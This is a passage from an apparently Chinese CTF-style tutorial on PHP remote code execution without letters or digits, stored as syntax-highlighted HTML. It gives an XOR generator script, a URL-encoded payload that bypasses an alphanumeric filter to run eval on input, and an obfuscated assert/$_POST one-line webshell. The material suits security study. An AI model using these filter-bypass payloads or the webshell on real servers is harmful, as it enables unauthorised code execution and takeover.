style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a-z0-9</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/is'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>可以采用异或运算：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>如果a,b两个值不相同则异或结果为1，相同则为0</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">5</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Z</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/49.png\" class=\"\"></p>\n<p>这里的结果显示5和Z的异或结果为o，具体原理如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>5的二进制：00110101</span></span>\n<span class=\"line\"><span>Z的二进制：01011010</span></span>\n<span class=\"line\"><span>按位进行异或运算：01101111 -> 解码结果为o</span></span></code></pre>\n<p>所以我们可以通过其他字符比如<code>%$*&amp;</code>等经过异或运算得到字母数字</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> o</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARRY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">5</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Z</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/50.png\" class=\"\"></p>\n<p>在做无字母无数字RCE还有一个技巧就是用<code>_</code>来命名</p>\n<p>这里给出橙子科技的异或运算脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">header</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">content-type:text/html;charset=utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">shell</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result1</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> judge</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">c</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_match</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a-z0-9</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/is'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">c</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> return</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> false</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">num</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">num</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">shell</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">num</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">33</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">126</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">judge</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">33</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">126</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                if</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">judge</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">f</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> chr</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">f</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">shell</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">num</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">x</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                        $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result2</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">chr</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">y</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                        break</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                    </span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                </span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">异或运算第一部分：</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result1</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">异或运算第二部分：</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/51.png\" class=\"\"></p>\n<p>传入cmd为需要的字符串就可以得到结果</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/52.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">0-9a-z</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/is'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    eval</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>比如这道题目就可以用异或出来的两部分：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>异或运算第一部分：+(+).&#x26;/</span></span>\n<span class=\"line\"><span>异或运算第二部分：[@[@@@@</span></span>\n<span class=\"line\"><span>//构造phpinfo</span></span></code></pre>\n<p>然后传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?cmd=$_=\"%2B(%2B).%26%2F\"^\"%5B%40%5B%40%40%40%40\";$_();</span></span>\n<span class=\"line\"><span>//经过URL编码</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/53.png\" class=\"\"></p>\n<p>如果我们希望执行其他一些RCE命令，可以通过写一句话木马（<strong>php5条件下</strong>）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">assert</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //assert替换为\"!((%)(\"^\"@[[@[\\\"</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //_POST替换为\"!+/((\"^\"~&#123;`&#123;|\"</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span 